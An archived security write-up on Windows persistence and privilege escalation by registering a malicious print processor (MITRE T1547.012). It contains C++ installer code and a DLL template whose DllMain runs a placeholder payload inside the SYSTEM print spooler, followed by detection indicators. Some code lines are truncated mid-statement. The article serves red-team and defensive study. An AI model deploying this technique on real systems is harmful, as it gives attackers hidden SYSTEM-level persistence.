

# Persistence and Privilege Escalation on Windows via Print Processors

Published: 2026-03-22 · Archived: 2026-04-05 20:30:04 UTC

This article demonstrates a persistence and/or privilege escalation technique documented as “Print Processors” T1547.012 in the MITRE ATT&CK [1] framework. It has been used in many attacks by Advanced Persistent Threats (APTs) such as Winnti [3], [6] and Gelsemium [4], [5]. The privilege escalation allows an attacker escalate from High integrity (Administrator) to System integrity (NT AUTHORITY\SYSTEM). Particularly interesting is the fact that it was used in the CCleaner [6] supply-chain attack. Direct or indirect references to this technique can also be found in [7] and [2].

This write-up aims to assist Red Teams reproduce this technique in Simulated Attack engagements and demonstrate impact. It is useful from a DFIR perspective as it gives a little more context to investigators.

The article is laid out in the following sections:

- [Review of the technique](#)
- [Print Processor Installation Source Code](#)
- [Print Processor DLL Source Code](#)
- [Detection Opportunities](#)
- [Tools](#)
- [References](#)

## Review of the technique

To perform this technique, the following are required:

- a registry key that points to the print processor has to be created in `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Print\Environments\%ARCHITECTURE%\PrintProcessors\` (the path is architecture specific)
- a call to `GetPrintProcessorDirectory` [8] to get the suitable directory for the print processor (architecture-specific)
- a call to `AddPrintProcessor` to register the print processor
- the print processor (implemented in a DLL) has to export [10] the functions: `EnumPrintProcessorDatatypesW`, `OpenPrintProcessor`, `PrintDocumentOnPrintProcessor`, `ClosePrintProcessor`, `ControlPrintProcessor` and `GetPrintProcessorCapabilities`

To confirm what functions Print Spooler calls, Rohitab’s ApiMonitor shows the APIs:

KERNELBASE.dll	LdrLoadDll ( 1, 0x0000000012dd650, 0x0000000012dd620, 0x0000000012dd668 )
KERNELBASE.dll	RtlInitString ( 0x0000000012dd630, "EnumPrintProcessorDatatypesW" )
KERNELBASE.dll	RtlInitString ( 0x0000000012dd630, "OpenPrintProcessor" )
KERNELBASE.dll	RtlInitString ( 0x0000000012dd630, "PrintDocumentOnPrintProcessor" )
KERNELBASE.dll	RtlInitString ( 0x0000000012dd630, "ClosePrintProcessor" )
KERNELBASE.dll	RtlInitString ( 0x0000000012dd630, "ControlPrintProcessor" )
KERNELBASE.dll	RtlInitString ( 0x0000000012dd630, "GetPrintProcessorCapabilities" )

## Print Processor Installation Source Code

The following code creates the required keys and values in

HKEY\_LOCAL\_MACHINE\SYSTEM\CurrentControlSet\Control\Print\Environments\Windows x64\Print Processors\ and calls the *AddPrintProcessor* [9] API to register the print processor.

```

INT CreateRegistryKeyPrintProcessor(WCHAR* lpData)
{
    // lpData : DLL name
    LSTATUS status = -1;

    WCHAR lpSubKey[] = L"SYSTEM\\CurrentControlSet\\Control\\Print\\Environments\\Windows x64\\Print Processors";
    HKEY phkResult = 0;
    DWORD dwDisposition = 0;
    status = ::RegCreateKeyExW(HKEY_LOCAL_MACHINE, lpSubKey, 0, NULL, REG_OPTION_NON_VOLATILE, KEY_CREATE_SUBKEY, &phkResult, 0, &dwDisposition);
    if (status)
    {
        ::wprintf(L"[-] RegCreateKeyExW has failed: %d\n", ::GetLastError());
        return status;
    }

    phkResult = 0;
    status = ::RegOpenKeyExW(HKEY_LOCAL_MACHINE, lpSubKey, 0, NULL, &phkResult);
    if (status)
    {
        ::wprintf(L"[-] RegOpenKeyW has failed: %d\n", ::GetLastError());
        return status;
    }

    WCHAR lpValueName[] = L"Driver";
    status = ::RegSetKeyValueW(HKEY_LOCAL_MACHINE, lpSubKey, lpValueName, REG_SZ, lpData, wcslen(lpData)*2);
    if (status)
    {
        ::wprintf(L"[-] RegSetKeyValueW has failed: %d\n", ::GetLastError());
        return status;
    }

    status = ::RegCloseKey(phkResult);
}

```

```
    if (status)
    {
        ::wprintf(L"[-] RegCloseKey has failed: %d\n", ::GetLastError());
        return status;
    }

    return status;
}

BOOL PrintProcessorPersistence()
{
    BOOL res = 0;

    WCHAR pPathName[] = L"printprocessor.dll";
    res = CreateRegistryKeyPrintProcessor(pPathName);
    if (res)
    {
        ::wprintf(L"[-] CreateRegistryKeyPrintProcessor has failed\n");
        return 0;
    }

    WCHAR pEnvironment[] = L"Windows x64";
    DWORD pcbNeeded = 0;
    GetPrintProcessorDirectoryW(NULL, pEnvironment, 1, NULL, NULL, &pcbNeeded);

    WCHAR* pPrintProcessorInfo = new WCHAR[pcbNeeded];
    res = GetPrintProcessorDirectoryW(NULL, pEnvironment, 1, (LPBYTE)pPrintProcessorInfo, pcbNeeded, &pcbNe
    if (res == 0)
    {
        ::wprintf(L"[-] GetPrintProcessorDirectory has failed: %d\n", GetLastError());
        return 0;
    }

    //::wprintf(L"[+] pPrintProcessorInfo: %s\n", pPrintProcessorInfo);

    // AddPrintProcessor
    WCHAR pPrintProcessorName[] = L"Test Processor";
    res = AddPrintProcessorW(NULL, pEnvironment, pPathName, pPrintProcessorName);
    if (res == 0)
    {
        ::wprintf(L"[-] AddPrintProcessor has failed: %d\n", GetLastError());
        return 0;
    }

    return 1;
}
```

```

INT wmain(INT argc, WCHAR** argv)
{
    BOOL res = PrintProcessorPersistence();
    if (res == 0)
    {
        ::wprintf(L"[-] PrintProcessorPersistence has failed\n");
        return 0;
    }

    return 1
}

```

## Print Processor DLL Source Code

The DLL that implements the Print Processor has to export a number of functions [10]. As soon as the DLL is loaded in the address space of *spoolsv.exe*, the function *EnumPrintProcessorDatatypesW* is executed.

```

#include <windows.h>
#include <stdio.h>

#define DllExport __declspec(dllexport)

extern "C" DllExport BOOL ClosePrintProcessor(HANDLE hPrintProcessor)
{
    return 1;
}

extern "C" DllExport BOOL ControlPrintProcessor(HANDLE hPrintProcessor, DWORD Command)
{
    return 1;
}

BOOL EnumPrintProcessorDatatypesW(LPWSTR pName, LPWSTR pPrintProcessorName, DWORD Level, LPBYTE pDatatypes, DWORD)
{
    // executes when DLL is loaded
    return 1;
}

extern "C" DllExport DWORD GetPrintProcessorCapabilities(LPTSTR pValueName, DWORD dwAttributes, LPBYTE)
{
    return 0;
}

typedef struct _PRINTPROCESSOROPENDATA {
    PDEVMODE pDevMode;
    LPWSTR pDatatype;
}

```

```
LPWSTR pParameters;
LPWSTR pDocumentName;
DWORD JobId;
LPWSTR pOutputFile;
LPWSTR pPrinterName;
} PRINTPROCESSOROPENDATA, * PPRINTPROCESSOROPENDATA, * LPPRINTPROCESSOROPENDATA;

extern "C" DllExport HANDLE OpenPrintProcessor(LPWSTR pPrinterName, PPRINTPROCESSOROPENDATA pPrintProcessorOp
{
    return (HANDLE)11;
}

extern "C" DllExport BOOL PrintDocumentOnPrintProcessor(HANDLE hPrintProcessor, LPWSTR pDocumentName)
{
    return 1;
}

int __cdecl PayloadFunction()
{
    // debug
    CHAR msgbuf[50];
    sprintf_s(msgbuf, 50, "[+] PayloadFunction was called");
    ::OutputDebugStringA(msgbuf);

    return 0;
}

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved)
{
    switch (fdwReason)
    {
    case DLL_PROCESS_ATTACH:
        PayloadFunction();
        break;
    case DLL_THREAD_ATTACH:
    case DLL_PROCESS_DETACH:
    case DLL_THREAD_DETACH:
        break;
    }

    return 1;
}
```

## Detection Opportunities

Events to monitor that could potentially indicate suspicious activity are:

- API calls to *AddPrintProcessor*
- File write events to 'C:\Windows\system32\spool\PRTPROCS\x64'
- Registry key creation in  
HKEY\_LOCAL\_MACHINE\SYSTEM\CurrentControlSet\Control\Print\Environments\Windows x64\Print Processors\

With the aforementioned indicators in mind, hunting can be implemented in Windows environments. Non-default print processors installed in a small number of hosts within an estate should be analyzed.

Additionally, for those familiar with VirusTotal Enterprise platform, the following search modifiers [11] will likely return malware Print Processor DLLs:

```
type:pedll exports:"EnumPrintProcessorDatatypesW" positives:30+
```

The above query looks for the exported function *EnumPrintProcessorDatatypesW* in DLL files that have 30 or more detections by antivirus engines. As mentioned earlier, there are a number (actually six) functions that should be exported to successfully implement this technique and therefore additional function names can be used in the search.

## Tools

- Visual Studio
- Rohitab's ApiMonitor
- SysInternals DebugView
- SysInternals ProcMon

## References

- [1] <https://attack.mitre.org/techniques/T1547/012/>
- [2] [https://www.welivesecurity.com/wp-content/uploads/200x/white-papers/The\\_Evolution\\_of\\_TDL.pdf](https://www.welivesecurity.com/wp-content/uploads/200x/white-papers/The_Evolution_of_TDL.pdf)
- [3] <https://www.welivesecurity.com/2020/05/21/no-game-over-winnti-group/>
- [4] <https://www.welivesecurity.com/2021/06/09/gelsemium-when-threat-actors-go-gardening/>
- [5] [https://www.welivesecurity.com/wp-content/uploads/2021/06/eset\\_gelsemium.pdf](https://www.welivesecurity.com/wp-content/uploads/2021/06/eset_gelsemium.pdf)
- [6] <https://www.crowdstrike.com/blog/in-depth-analysis-of-the-ccleaner-backdoor-stage-2-dropper-and-its-payload/>
- [7] <https://www.hexacorn.com/blog/2019/05/26/plata-o-plomo-code-injections-execution-tricks/>
- [8] <https://docs.microsoft.com/en-us/windows/win32/printdocs/getprintprocessordirectory>
- [9] <https://docs.microsoft.com/en-us/windows/win32/printdocs/addprintprocessor>
- [10] <https://docs.microsoft.com/en-us/windows-hardware/drivers/print/functions-defined-by-print-processors>

[11] <https://support.virustotal.com/hc/en-us/articles/360001385897-File-search-modifiers>

tags: [#persistence](#)

---

Source: <https://stmxcscr.com/persistence/print-processor.html>